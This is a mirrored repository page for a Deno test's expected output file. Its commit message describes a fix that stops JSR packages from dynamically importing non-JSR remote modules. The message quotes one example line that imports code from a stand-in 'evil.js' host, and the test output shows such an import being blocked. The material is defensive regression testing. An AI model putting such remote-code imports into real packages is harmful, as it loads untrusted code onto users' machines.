foster/denoland-deno
1
0
Fork 0
mirror of https://github.com/denoland/deno.git synced 2024-11-25 15:29:32 -05:00
Code Issues Packages 1 Wiki Activity
denoland-deno/tests/specs/jsr/import_https_url/analyzable.out

9 lines
564 B
Text
Raw Permalink Normal View History

fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623) A security feature of JSR is that it is self contained other than npm dependencies. At publish time, the registry rejects packages that write code like this: ```ts const data = await import("https://example.com/evil.js"); ``` However, this can be trivially bypassed by writing code that the registry cannot statically analyze for. This PR prevents Deno from loading dynamic imports that do this.
2024-02-28 16:30:45 -05:00
Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts
Download http://localhost:4545/welcome.ts
error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons.
await import("http://localhost:4545/welcome.ts");
^
at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts:1:1
Copy permalink